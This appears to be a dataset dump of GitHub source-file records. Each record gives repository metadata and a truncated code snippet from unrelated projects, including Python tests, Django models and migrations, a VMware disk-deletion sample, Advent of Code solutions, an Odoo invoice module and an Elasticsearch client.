e18acdf10dc10f22be785b412c98734ef4391a78
d190750d6cb34e9d86ae96724cf4b56a2f57a74a
/tests/r/test_morley.py
562dc425811ab5a69db86c60b1d186302756d5a8
[ "Apache-2.0" ]
permissive
ROAD2018/observations
a119f61a48213d791de0620804adb8d21c2ad9fb
2c8b1ac31025938cb17762e540f2f592e302d5de
refs/heads/master
2021-09-24T04:28:02.725245
2018-09-16T23:06:30
2018-09-16T23:06:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
510
py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.morley import morley def test_morley(): """Test module morley.py by downloading morley.csv and testing shape of extracted data has 100 row...
[ "dustinviettran@gmail.com" ]
dustinviettran@gmail.com
f1f37abf4b41bc03ab51f54e73615b835dc0f583
2d03be96751d29bc8e2686ee3a8bed890261b0fa
/Drivers/Community/ri_vmware-orchestration-driver/pyvmomi-community-samples/samples/fcd_delete_vdisk.py
2ad0d42805eb70ef5a2c3cb00f63346d6723d57a
[ "MIT", "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Spirent/Velocity-assets
2007e4b565a40a4e5265c5e558c1af8ef703000e
1d4233279d6c7a6c1145859d2bd3bd05d282ed3c
refs/heads/master
2023-08-08T03:25:09.401108
2022-11-22T18:15:32
2022-11-22T18:15:32
105,230,520
5
20
MIT
2023-07-21T19:24:55
2017-09-29T04:40:38
Python
UTF-8
Python
false
false
3,231
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Written by Chris Arceneaux # GitHub: https://github.com/carceneaux # Email: carceneaux@thinksis.com # Website: http://arsano.ninja # # Note: Example code For testing purposes only # # This code has been released under the terms of the Apache-2.0 license # http://opensou...
[ "noreply@github.com" ]
noreply@github.com
528f021c8e11f7846ea895d9ab7c934efff890de
3d6632b1721128bdcaefd54af4617e3edadd3ca6
/RunDir/python/SUSYHIT_SinglePhotonGrid_makeconfigfile.py
9b8cce5e6386360d900e053c5f65eca57da7150e
[]
no_license
mtripiana/SUSYGrid
d1b5a844e0c907eac332c57fea23b4ee3d684368
29215cbdffac989f841a9c09e42553b4fcaafe50
refs/heads/master
2021-01-10T19:48:07.309947
2014-11-28T00:55:14
2014-11-28T00:55:14
33,213,740
0
0
null
null
null
null
UTF-8
Python
false
false
5,184
py
#! /usr/bin/python # import os, sys, commands import posix import getopt, string import re, random, math import posix import time from stat import * from glob import glob if len(sys.argv) < 2: # the program name and one argument # stop the program and print an error message sys.exit("Must provide output file ...
[ "mtripiana@users.noreply.github.com" ]
mtripiana@users.noreply.github.com
ed22cd98ccc5c3ab583769e5ced040437212592d
3f97f0ba5351aae879cae3c6c073d64077ee96bd
/ch99/photo/migrations/0001_initial.py
14effa898a4c93b21d9524971d9600907b03422d
[ "MIT" ]
permissive
dukuaris/django_web
7b8e63d82718afc2a7aedd97ceed97f8aeab4040
d6e8486999a8db8fc99c4b7dae0ddac402828c9d
refs/heads/master
2023-01-07T09:02:06.316075
2020-01-28T06:46:27
2020-01-28T06:46:27
232,438,676
0
0
MIT
2022-12-27T15:36:34
2020-01-07T23:45:17
HTML
UTF-8
Python
false
false
1,543
py
# Generated by Django 2.2.2 on 2020-01-16 09:54 from django.db import migrations, models import django.db.models.deletion import photo.fields class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Album', ...
[ "dukuaris@gmail.com" ]
dukuaris@gmail.com
073c3efb2dc0e05f5668c065c6a14749d6d65f4c
0e25dc15ae9efce8bfd716d4d2041da07767968b
/qbench/benchmarks/RevLib/OPENQL_converted/cycle10_2_110.py
38015650e921d4e45307087e364e05df9a9bb531
[]
no_license
alxhotel/crossbar-bench
f608fc0062b4f8a5162ec33d61c0204aaf27b6ff
3bf7536e7697d29c3089b0ba564ba22d39698b88
refs/heads/master
2021-07-13T16:06:50.085838
2020-10-04T23:39:05
2020-10-04T23:39:05
213,409,122
3
1
null
null
null
null
UTF-8
Python
false
false
143,382
py
from openql import openql as ql import os import argparse def circuit(config_file, new_scheduler='yes', scheduler='ASAP', uniform_sched= 'no', sched_commute = 'yes', mapper='base', moves='no', maptiebreak='random', initial_placement='no', output_dir_name='test_output', optimize='no', measurement=True, log_level='LOG_W...
[ "alxmorais8@msn.com" ]
alxmorais8@msn.com
07d1ecadbb9f0f08dcae92d18b383b664a3c2a0b
273174584337339f2bd90660f4a2f72a0f11f1ef
/garbage_collection_test.py
ef6b7f83f10e812aad2d254dd5cc86dc8ca65df3
[]
no_license
plutokaito/python_project-based
a37d917c14a0b2923562a5d26d4ea06d6a91c574
2cb8011f29dc543ce2f515787a847e36782bee62
refs/heads/master
2020-05-31T21:15:22.727731
2019-07-18T00:50:02
2019-07-18T00:50:02
190,493,755
0
0
null
null
null
null
UTF-8
Python
false
false
1,489
py
#%% import os import psutil # 显示当前python程序占用的内存大小 def show_memory_info(hint): pid = os.getpid() p = psutil.Process(pid) info = p.memory_full_info() memory = info.uss / 1024. / 1024 print('{} memory used: {} MB'.format(hint, memory)) def func(): show_memory_info('initial') a = [i for i in ...
[ "ss@ecrrc.com" ]
ss@ecrrc.com
77169cfad7dd0a3c212d00a1d47a8ee2d9202fbc
10caf45befd52bfe14dcb9043b17d6afd6f31fee
/2018/python/day_15/part_2.py
eb7063c087849690e503e99e4d9c089dab81f9e7
[]
no_license
lordievader/advent_of_code
bd31b44b0d7f8ee99735a6c91209a57caa8c3a4b
b1d6c5d01e1162fdfc3c3e8325b08c8037561abd
refs/heads/master
2020-04-09T04:45:16.273683
2019-12-20T09:02:51
2019-12-20T09:02:51
160,035,108
2
0
null
null
null
null
UTF-8
Python
false
false
1,527
py
"""Code for part 1 of day 05. """ import logging import numpy import re import pdb import part_1 logging.basicConfig( format='%(asctime)-23s %(funcName)15s: %(message)s', level=logging.DEBUG ) def rolling_window(a, window=5): """Returns the array a in chunks of window size. :param a: numpy array ...
[ "oliviervdtoorn@gmail.com" ]
oliviervdtoorn@gmail.com
23ccf2a38ceba58839bf1b43a47e9b8c981bd395
2b55313ef753f6af072414df397d89bc04507366
/src/hpp/corbaserver/hpp_ompl_benchmark/cubicles/robot.py
c4956fa350590552330a3f08510f0dd0b857576e
[]
no_license
anna-seppala/hpp-ompl-benchmark
decb6bc18b86aa08a7ea6d28a114b01ca813bd76
2fc62bb432850620aa4a027d97d915dad00dabb3
refs/heads/master
2021-01-10T13:49:24.808239
2016-03-07T16:49:56
2016-03-07T16:49:56
52,097,043
0
0
null
null
null
null
UTF-8
Python
false
false
1,123
py
# Copyright (c) 2015 CNRS # Author: Anna Seppala # # This file is part of hpp-ompl-benchmark. # hpp-ompl-benchmark is free software: you can redistribute it # and/or modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either version # 3 of the License, or (...
[ "seppala@laas.fr" ]
seppala@laas.fr
80829806b360fe54ece15c5e61cdd9365b477f5c
e77104058b073f3ebe1b169e6cde8439774864dc
/nerWithInputFun.py
88bac0cb3ca37a8722f5f7101501fd457ff51c09
[]
no_license
robincamille/replacethechar
fffda864003037ac1690fa74fbd066bb6d1f02c1
4b2f642bb5044df224f67b6f082d1ff885709ecb
refs/heads/master
2021-01-10T05:15:35.492399
2016-01-17T00:42:56
2016-01-17T00:42:56
49,334,611
2
1
null
null
null
null
UTF-8
Python
false
false
3,269
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Robin Camille Davis # CODEX 2016 # Top 5 names from a .txt file ##This script asks for the URL to a plain-text file (Project Gutenberg). ##It outputs the top 5 person names from the text using the ##Stanford Named Entity Recognition interface in NLTK. ## ##Caveats: fir...
[ "rdvs18@gmail.com" ]
rdvs18@gmail.com
203cb029b27722baa806d4bf17e85a469268eba4
0660e3b841d662cb2de9631ec63dd9e5918824a3
/test_quick_sort.py
a53726f8b93f68c5646d812403d1b5b7bdf3a3f9
[ "MIT" ]
permissive
Jakeand3rson/new_data_structures
d41f304ac07aa952408d1f32d3d323846c0eace7
ae6dff0bd90d76111a1ce3540f8a6396a6fd96ae
refs/heads/master
2020-04-05T04:17:51.636597
2015-04-27T23:32:18
2015-04-27T23:32:18
32,335,674
0
0
null
null
null
null
UTF-8
Python
false
false
468
py
from quick_sort import q_sort import random def test_sort_one(): x = range(10) assert q_sort(x) == x def test_sort_two(): x = range(10, 0, -1) assert q_sort(x) == range(1, 11) def test_sort_big(): x = range(100) assert q_sort(x) == x def test_sort_big_backwards(): x = range(100, 0, -...
[ "jake.anderson486@gmail.com" ]
jake.anderson486@gmail.com
9f134b1aae3dcd607ae87d9adfd937cdc2e02809
c9f45254dc20950eeae524157b69484f6babb9be
/.ipynb_checkpoints/ChatBot-checkpoint.py
099888dad80b75e81e60421ec84bdd7ba64b7ef9
[]
no_license
JivrajGrewal23/Assignment-2
c3dc4fa6e7e765bf99a275dba591c6f9948173a1
aad44942d89ae45148f4caafc0257120a8965fac
refs/heads/main
2023-03-11T16:15:04.994973
2021-03-03T08:26:15
2021-03-03T08:26:15
343,925,730
0
0
null
2021-03-02T22:05:58
2021-03-02T22:05:58
null
UTF-8
Python
false
false
5,292
py
import nltk import tkinter from tkinter import * from nltk.chat.util import Chat, reflections # This is a modified converse function from nltk.chat.util class modifiedChat(Chat): def converse(self, user_input): while user_input[-1] in "!.": user_input = user_input[:-1] return self.resp...
[ "brenden.trieu@gmail.com" ]
brenden.trieu@gmail.com
4257aea07739c9ad349ae195f708c538e946c628
9a6c6f5defce5bf7e3deb2bdf692af92a0deceaf
/start_qt.py
8a3f5d76199a103abd05d09df5bc3bca3ffaf509
[]
no_license
henkburgstra/py-mvp
608621af47b4d6f584eea0be31f4db41b54a1e4a
aa8a4f510ddd6e47a37fb8e9abeb7e4b7220d3bc
refs/heads/master
2021-01-10T11:38:39.863445
2016-01-23T20:42:01
2016-01-23T20:42:01
49,984,275
2
1
null
null
null
null
UTF-8
Python
false
false
77
py
# # -*- coding: iso8859-1 -*- # /start_qt.py # from ui.qt import mainwindow
[ "henk.burgstra@gmail.com" ]
henk.burgstra@gmail.com
1eb7b01c1708fb87bed27c0f6ae70d133318cd9d
9f3fc15f9f49b5de7030100b122cc386bfee0bb0
/app/main/model/blacklist_model.py
9eb0298de9c718f359d8421d2b9b61ca5c73e5df
[ "Apache-2.0" ]
permissive
priya7574/RestFul_API
6ea484d8e50fd6aff4087d479db2a365e4c0de09
4a36b5836ca6e31074af3cf81532e824dfe7a016
refs/heads/master
2022-10-17T17:19:49.307100
2020-02-25T10:33:47
2020-02-25T10:33:47
242,972,452
0
0
Apache-2.0
2022-09-16T18:19:10
2020-02-25T10:28:26
Python
UTF-8
Python
false
false
814
py
from .. import db import datetime class BlacklistToken(db.Model): """ Token Model for storing JWT tokens """ __tablename__ = 'blacklist_tokens' id = db.Column(db.Integer, primary_key=True, autoincrement=True) token = db.Column(db.String(500), unique=True, nullable=False) blacklisted_on = ...
[ "priyabharti.impinge@gmail.com" ]
priyabharti.impinge@gmail.com
605f661973bbbcd2a3ae449efe253b4c8fb5f8d1
a3eb732ead7e1d10a85a88e42dc639eb16a40265
/instagram_api/exceptions/login_required.py
17efdeb06ecf91b72d2beb3c97a51eae69770f8a
[ "MIT" ]
permissive
carsam2021/instagram_api
7654c0f485c22935cf478016e46e65acbeda9344
b53f72db36c505a2eb24ebac1ba8267a0cc295bb
refs/heads/master
2023-03-16T14:06:27.515432
2020-10-17T04:39:19
2020-10-17T04:39:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
97
py
from .request import RequestException class LoginRequiredException(RequestException): pass
[ "root@proscript.ru" ]
root@proscript.ru
0222bfe5095a07c6e5891fcbff0ddf621a097feb
191d53230f34d3394c34f08349181678e4f54be1
/tourney/lookup.py
58a0837d6c483a152a7bf84eea5770323c50391b
[ "MIT" ]
permissive
seangeggie/tourney
ea4719b7d267682ed09541668f4686de29175a83
405b6abd35d7501a094b3fd4a8d5fd215f073912
refs/heads/master
2020-03-27T05:08:24.911541
2018-09-11T10:53:53
2018-09-11T10:53:53
145,996,635
0
0
MIT
2018-08-24T13:58:08
2018-08-24T13:43:01
Python
UTF-8
Python
false
false
968
py
class Lookup: def __init__(self, client): self.__client = client self.__all_channels = None self.__all_users = {} def channel_id_by_name(self, name): self.__init_channels() for channel in self.__all_channels: if channel["name"] == name: return channel["id"] return None def ...
[ "msk@nullpointer.dk" ]
msk@nullpointer.dk
c46cd6e114a39fc11d11807b3df394c2a858b82a
b5a8f78d336beaa713f6ffc1d2dc7c4a0409bdfc
/helpdesk_proj/helpdesk_proj/settings/local.py
48ff12cf1023fdb556ebd9abffb432fe4058883a
[]
no_license
ntrrgc/helpdesk
9e90f9eaa0cbbeed7264169dc2e83b7678cf92ef
30f924fd8cdeb65a2e73fb562ae185416c7ea7b3
refs/heads/master
2021-07-01T22:41:44.871650
2019-12-30T12:02:50
2019-12-30T12:03:24
33,888,221
0
0
null
2021-06-10T17:51:31
2015-04-13T19:11:20
JavaScript
UTF-8
Python
false
false
967
py
from .base import * DEBUG = True TEMPLATE_DEBUG = False SECRET_KEY = 'dummy key' SNORKY_BACKEND_URL = 'http://localhost:5002/backend' SNORKY_FRONTEND_URL = 'ws://localhost:5001/websocket' DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqli...
[ "ntrrgc@gmail.com" ]
ntrrgc@gmail.com
3bd8fc1258e19db21519b8c6f9f6d0805e198418
2b5a9c519df94942d58a519504336ab46287631a
/banners/templatetags/banners_tags.py
ec293521fa5d166eeec8b5b7cc35e1018bd1931c
[]
no_license
whitespy/djlime-banners
e106fd3d1276b16bce334dcfea6a746f9f9dbb2d
ffcd042069488d5127705931a759bfb828b318bd
refs/heads/master
2021-05-19T21:27:17.524283
2012-07-23T13:29:31
2012-07-23T13:29:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,884
py
from django.db.models import Q from django.conf import settings from django.template import Library from banners.models import Banner from banners import LOCATION_HEADER, LOCATION_CONTENT, LOCATION_SIDEBAR register = Library() CITY_CONTEXT_KEY = getattr(settings, 'CITY_CONTEXT_KEY', 'city') BANNER_HEADER_TEMPLATE =...
[ "whitespysoftware@yandex.ru" ]
whitespysoftware@yandex.ru
cab7f3324eb0b7c8dba67533ab697b9dc6b85c1c
fcb27ecaf34f2fcd060ed378231efdb9620c5812
/实例/2.py
68ebb072a654e9a6d42b65afb59daeabd2ffff7e
[]
no_license
chainet/jerry
3d8051e2451581ea85dd45a26f4ae39217d5a1c6
0a8c55d415fe8a6275b9615c0b102abc7cfc2162
refs/heads/master
2021-04-28T02:09:27.847423
2019-04-21T12:09:46
2019-04-21T12:09:46
122,295,638
0
0
null
null
null
null
UTF-8
Python
false
false
697
py
#实例2 #http://www.runoob.com/python/python-exercise-example2.html def get_reward(I): rewards = 0 if I <= 10: rewards = I * 0.1 elif (I > 10) and (I <= 20): rewards = (I - 10) * 0.075 + get_reward(10) elif (I > 20) and (I <= 40): rewards = (I - 20) * 0.05 + get_reward(20) elif...
[ "chainet@gmail.com" ]
chainet@gmail.com
b8c9672e42c3bf90c709b694832601d20977efac
14f455693213cae4506a01b7d0591e542c38de79
/apps/profile/urls.py
ae3b903bd2e0bbdeddb2002969555017bac9927d
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Cvalladares/Newsblur_Instrumented
f0b14d063759973330f202108a7eed3a29bcc033
4d6ee6aa9713879b1e2550ea5f2dbd819c73af12
refs/heads/master
2022-12-29T15:19:29.726455
2019-09-03T17:09:04
2019-09-03T17:09:04
206,130,022
0
0
MIT
2022-12-10T06:00:26
2019-09-03T17:07:04
Python
UTF-8
Python
false
false
2,248
py
from django.conf.urls import * from apps.profile import views urlpatterns = patterns('', url(r'^get_preferences?/?', views.get_preference), url(r'^set_preference/?', views.set_preference), url(r'^set_account_settings/?', views.set_account_settings), url(r'^get_view_setting/?', views.get_view_set...
[ "Cvalladares4837@gmail.com" ]
Cvalladares4837@gmail.com
a150f25eb027d1b21cf74cf109a18e85acada783
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/apimanagement/azure-mgmt-apimanagement/generated_samples/api_management_user_confirmation_password_send.py
793650579dac2e949735e69fe128bc5958cef7ad
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,638
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
noreply@github.com
101e6cd4892fefaf5467a3acd914319a647fb08d
59db55b4a8aa9740dd488e09685c0b3aea1a280c
/adodb-220/build/lib.linux-x86_64-2.7/adodb/adodb_postgres.py
4b1ee64b25d8c6e7b1ce560689e71c385a25f2aa
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Iskuri/Banner-Grabber
08c7579186ea40dd898529b0c2c33a3316d65a1d
9e21dab02c41797cdf50cc69e8a28b95a906b3de
refs/heads/master
2021-01-22T19:32:20.138848
2013-09-29T07:53:34
2013-09-29T07:53:34
12,995,136
0
1
null
null
null
null
UTF-8
Python
false
false
3,349
py
######################################################################## # Vers 2.10 16 July 2008, (c)2004-2008 John Lim (jlim#natsoft.com) All Rights Reserved # Released under a BSD-style license. See LICENSE.txt. # Download: http://adodb.sourceforge.net/#pydownload ####################################################...
[ "christopher@desktop.laptop" ]
christopher@desktop.laptop
3d89915c498c68bd9d17c84c6b2ddf8a5a3a0dc1
4dcb84ae7e60a9f82e6f9bdf39cd6db6a76cacc5
/myMatchingApp/manage.py
4e36140caf08c21da65fc9b595e174ce7e76d443
[]
no_license
lmarianarp19/myMatchingApp
b0f6ce94e88be072d1e656b6768ac36c0d7db77a
aa338d2276505f90c5b2b762d93932205090fed7
refs/heads/master
2021-05-15T05:58:29.474206
2018-01-24T21:36:08
2018-01-24T21:36:08
116,075,824
0
0
null
null
null
null
UTF-8
Python
false
false
545
py
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "myMatchingApp.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django...
[ "lmarianarp@gmail.com" ]
lmarianarp@gmail.com
6b44bf6e1fdf400b4c6bb129494dc274380387f5
8ec40c0c569550a14ae173c2c074f7dcc6bcd8d9
/help/source/conf.py
1265d760bd431fec72eb033b7603b296cf08212a
[]
no_license
klakar/layerList
638f3fc2778ecd36ad64e6dfa17cf4c978706468
fb242d375a04eb7ae8c8baefbfe5ec3b69f56311
refs/heads/master
2021-01-19T01:52:09.769511
2016-07-02T20:11:01
2016-07-02T20:11:01
19,351,050
0
0
null
2015-07-08T16:15:32
2014-05-01T16:53:34
Python
UTF-8
Python
false
false
7,052
py
# -*- coding: utf-8 -*- # # layerlist documentation build configuration file, created by # sphinx-quickstart on Sun Feb 12 17:11:03 2012. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # A...
[ "klaskarlsson@hotmail.com" ]
klaskarlsson@hotmail.com
bb9907066005e577a1998be045ba95d25cf0401b
48bb4a0dbb361a67b88b7c7532deee24d70aa56a
/codekata/greatese.py
5bf5eea99317b8d7235f806cd8e0e600b1945704
[]
no_license
PRAMILARASI/GUVI
66080a80400888263d511138cb6ecd37540507c7
6a30a1d0a3f4a777db895f0b3adc8b0ac90fd25b
refs/heads/master
2022-01-28T08:54:07.719735
2019-06-24T15:57:05
2019-06-24T15:57:05
191,355,070
0
0
null
null
null
null
UTF-8
Python
false
false
167
py
x=int(input("")) y=int(input("")) z=int(input("")) if(x>y>z): largest=x print(largest) elif(y>z): largest=y print (largest) else: largest=z print(largest)
[ "noreply@github.com" ]
noreply@github.com
f08781c8f26e8affed183ad0d876cd3d32f6e4cf
cabe1d490d39f899f08f247288d48c09a556205a
/cloudpulse/scenario/plugins/all_tests/all_tests.py
c9249978b4459333b9629bd3bc731327508d647b
[ "Apache-2.0" ]
permissive
tsjondin/cloudpulse
69053e795e371ec87e7da2e3ded0c123334ad11e
45b7cbe59c8a3c8a5f50eb051dd151f25fbee4e7
refs/heads/master
2021-06-26T02:20:06.090310
2017-06-22T04:57:56
2017-06-22T04:58:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,159
py
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # di...
[ "anand1712@gmail.com" ]
anand1712@gmail.com
1ebddb7866c7815a2e3c97c2bf8ff563a8a599a8
0fb12be061ab050904ceea99f6a938985a0d8acf
/report_mako2pdf/lib/PyPDF2/pagerange.py
c19d1790b7d1f2f79c4ccb755a80439f4a49a821
[]
no_license
libermatos/Openerp_6.1
d17fbff1f35948e0c4176e2ed34ac5d7f8453834
510df13df7ea651c055b408ad66c580ca29d4ad7
refs/heads/master
2023-06-19T00:24:36.002581
2021-07-07T01:17:20
2021-07-07T01:17:20
383,574,889
0
0
null
null
null
null
UTF-8
Python
false
false
5,650
py
#!/usr/bin/env python """ Representation and utils for ranges of PDF file pages. Copyright (c) 2014, Steve Witham <switham_github@mac-guyver.com>. All rights reserved. This software is available under a BSD license; see https://github.com/mstamy2/PyPDF2/LICENSE """ import re from .utils import Str _INT_R...
[ "noreply@github.com" ]
noreply@github.com
1649d917f53e31b226522ddb6e6e0bd1dc1ceae1
8552e78086fc563d4fa8bc64ec1e81fafe243b74
/modules/database/pullUser.py
d95acea0c80442a170d421d8a52b6fa0e0c05610
[]
no_license
ms7m/guardia
5ea9b416e0d3728ad25a41533e43396e28fbc8ec
710fe69e60a079d0da3ee73014cb5ae1315d0732
refs/heads/master
2022-12-10T21:37:23.103738
2020-01-19T04:28:14
2020-01-19T04:28:14
229,809,903
3
0
null
2022-12-08T03:20:52
2019-12-23T19:17:41
Python
UTF-8
Python
false
false
3,296
py
from modules.database.createDatabase import MongoDB from modules.authentication import SettingsConfiguration as Configuration from datetime import datetime from loguru import logger from bson.objectid import ObjectId class PullUser: def _loadPrimaryDatabase(self): try: self.primary_database = s...
[ "ms7mohamed@gmail.com" ]
ms7mohamed@gmail.com
b120bf63954049ee7c975ea42b994bd4403d4544
3fb57bf3bd86cc75985faaa2c83318273e723d81
/project/model.py
7f5debdd8636663ed8ac446cc1397a5836b77e41
[ "MIT" ]
permissive
delldu/Idinvert
ea0fd376a0b92636232bd0ba5cafdd8d129367dc
9977118e37ac18d573497eb7cdb7be66fbc50a58
refs/heads/master
2023-07-02T12:54:40.178912
2021-08-11T12:55:53
2021-08-11T12:55:53
393,851,173
0
0
null
null
null
null
UTF-8
Python
false
false
2,718
py
"""Create model.""" # coding=utf-8 # # /************************************************************************************ # *** # *** Copyright Dell 2021, All Rights Reserved. # *** # *** File Author: Dell, 2021年 08月 10日 星期二 15:49:52 CST # *** # ****************************************************************...
[ "18588220928@163.com" ]
18588220928@163.com
f8dfb8754afe031d0868f8fefdf0e6c12c094aa0
bea2cd0fdfe792fdc07acece472a14ff650d5663
/adsys/adverthistory/models.py
6296ce94b5e1d4c8d767b9f0c9917ef4ef62d92a
[]
no_license
kostadinoval/django-adsys
5fcf1a1263c1a59a73460a2d614125159b079faa
ecef78830b7f8d68a68148e7108ec40cc1414453
refs/heads/master
2021-01-10T07:56:53.913781
2015-11-28T18:26:00
2015-11-28T18:26:00
46,121,070
2
0
null
null
null
null
UTF-8
Python
false
false
572
py
from django.db import models from advert.models import Advert class AdvertImpression(models.Model): advert = models.ForeignKey(Advert) numberOfImpressions = models.IntegerField(default = 0) def __unicode__(self): return "Advert: " + str(self.advert) + " - " + "Number of impressions: " + str(self.numberOfImpress...
[ "aleksandar.kostadinov@hotmail.co.uk" ]
aleksandar.kostadinov@hotmail.co.uk
4b7332355084b28ef509efbcfa0245ab7dafc7c7
eb82022c0cfc7c8747661cff9624ad2099fa1c3f
/dev_recap_invoice/models/recap_invoice.py
49c018ea5e561d7472a9a8bf5373cc7adc07fe2e
[]
no_license
dadysuarsa/Odoo
8d026a066c390cc8f72805d2672212e61260c1cb
c9becd0c192fa239520ad3e1a11d81f70832eddf
refs/heads/master
2023-03-11T06:02:06.011575
2021-02-26T02:17:37
2021-02-26T02:17:37
276,346,540
0
0
null
null
null
null
UTF-8
Python
false
false
18,488
py
# -*- coding: utf-8 -*- from odoo import models, fields, api,_ from odoo.exceptions import UserError, Warning from odoo.tools import float_is_zero, float_compare, DEFAULT_SERVER_DATETIME_FORMAT from odoo.tools.misc import formatLang from odoo import time from datetime import datetime from openerp.tools import amount_...
[ "dads02_zetti@yahoo.com" ]
dads02_zetti@yahoo.com
2eeed853918df0de5ab7cec3d171e4774f6d87a9
148e05840285e37ea9f08d654fbc7746df25f149
/poem_parser/poetryminute.py
404747e51d6e95aa79808795f91c040e40c0db8d
[]
no_license
jedmitten/poem_parser
2d6828450f6ec6544fa75cb89f1e08a160e4b645
a02db8bc5909a0a3ebc1f9bd17b1a72b251b1781
refs/heads/master
2022-12-09T07:00:37.287677
2019-10-21T17:27:59
2019-10-21T17:27:59
152,363,685
0
0
null
2019-10-21T17:28:00
2018-10-10T04:36:43
Python
UTF-8
Python
false
false
1,819
py
import requests from bs4 import BeautifulSoup BASE_URL = 'http://www.poetryminute.org' AUTHOR = 'author' DATE = 'date' CATEGORY = 'category' TITLE = 'title' BASE_DIR = 'poems-by' DIRS = { AUTHOR: '-'.join([BASE_DIR, AUTHOR]), DATE: '-'.join([BASE_DIR, DATE]), # CATEGORY: '-'.join([BASE_DIR, CATEGORY]), ...
[ "jmitten@obsidiansecurity.com" ]
jmitten@obsidiansecurity.com
a3d5611e64e5372b7311db438c29c731f14d8d8a
cbfcbbfa606c16d5051f9f202bc3421e60192a9e
/elasticsearch7/client/__init__.py
59fbaa8b6f776a6aeef5d765d46c1f46fda3778f
[ "MIT" ]
permissive
RitterHou/search_platform
d7292e229bc7ee2a521cdcd8a6ce2d8f2e5ba38a
a72b4e4d78b4375f69887e75abcc1e6a6782c551
refs/heads/production_es7
2023-08-23T17:29:25.224031
2021-10-12T06:16:56
2021-10-12T06:16:56
416,202,756
0
0
null
2021-10-12T06:16:56
2021-10-12T05:54:40
Python
UTF-8
Python
false
false
84,424
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals import logging from ..transport import Transport from ..exceptions import TransportError from ..compat import string_types, urlparse, unquote from .indices import IndicesClient from .ingest import IngestClient from .cluster import ClusterClient from .cat ...
[ "hourui@qianmi.com" ]
hourui@qianmi.com
1e6958f73021d78c7be222fe32a1d093a81b815d
0e5e3cce9bde498f1bd2d1fcbc46cf69ee36f35c
/inference_color.py
c4c2d35d7ab12c0530d0ed59ea5cc3621ae8616a
[ "Apache-2.0" ]
permissive
ljhclover/pytorch_Unet_CZI
f61d444a16fd70d29a7927541ba3a10a73577241
92a3c295077562161d747157fdcba998132d4a94
refs/heads/main
2023-03-23T06:03:04.627802
2021-03-17T11:23:58
2021-03-17T11:23:58
348,678,616
0
0
null
null
null
null
UTF-8
Python
false
false
4,215
py
# -*- coding: utf-8 -*- # @Time : 2020-09-20 17:44 # @Author : lijinghu # @Email : ljhclover@hotmail.com # @File : inference.py """ """ import argparse import logging import os import os.path as osp os.environ["CUDA_VISIBLE_DEVICES"] = "1" import numpy as np import torch import torch.nn.functional as F from ...
[ "noreply@github.com" ]
noreply@github.com
f0501c3bc093969d279619ced31bd78ea5fcd12d
a6be7f8c42e6d8033658f559752b79f2dd06b771
/sutter_hospital/ourdocters/apps.py
87f1ba62653e12ad79e3ea40fc8a6fda31473137
[]
no_license
Satwik1112/hospital_website
c14dd872bdfd22323fb955b870cedc4e38418859
ab10dc3d53cf185d463507e4e9f145721584b0a1
refs/heads/main
2023-07-13T02:18:38.184112
2021-09-01T17:03:18
2021-09-01T17:03:18
402,112,873
0
0
null
2021-09-01T17:02:37
2021-09-01T15:34:29
null
UTF-8
Python
false
false
158
py
from django.apps import AppConfig class OurdoctersConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'ourdocters'
[ "noreply@github.com" ]
noreply@github.com
e6e0fd0c21c64460b18b4b981deca3ff29fb54c6
19c922ca909820bea23fb1e9a9e3080d044eb826
/Chinese Phonology/dicts/shijingPartDict.py
42664f4c2b23854326adf0fc9653262bdbf6d639
[]
no_license
philneal/Eohan
49d0465a889788fa272d61eba60b5d5447bb1a68
405a91ebf75846bf5b40c83815753508c251433a
refs/heads/master
2016-09-06T10:54:30.392054
2015-06-18T07:39:21
2015-06-18T07:39:21
37,643,373
0
0
null
null
null
null
UTF-8
Python
false
false
126
py
(dp0 I0 V\u570b\u98a8\u4e00 p1 sI1 V\u5c0f\u96c5\u4e8c p2 sI2 V\u5927\u96c5\u4e09 p3 sI3 V\u5468\u980c\u56db\u4e4b\u4e00 p4 s.
[ "philipneal@hotmail.com" ]
philipneal@hotmail.com
e98221ca4eca525cea8ec9b4a9a867b7f179168a
bb9bee0ee44f63fb81ce3c12080bcfa2552e0a49
/main.py
714fb6ff34e735d0feb1eb6d854555e3f74abd06
[]
no_license
hodgej/python-task-controller
9fa2cf872f6361c2b1bbf34af8f038947aeff3b3
027ca5e08a3e1c46a4dde6e9feffd8427efc8805
refs/heads/master
2022-04-26T00:43:36.180036
2020-05-03T19:34:30
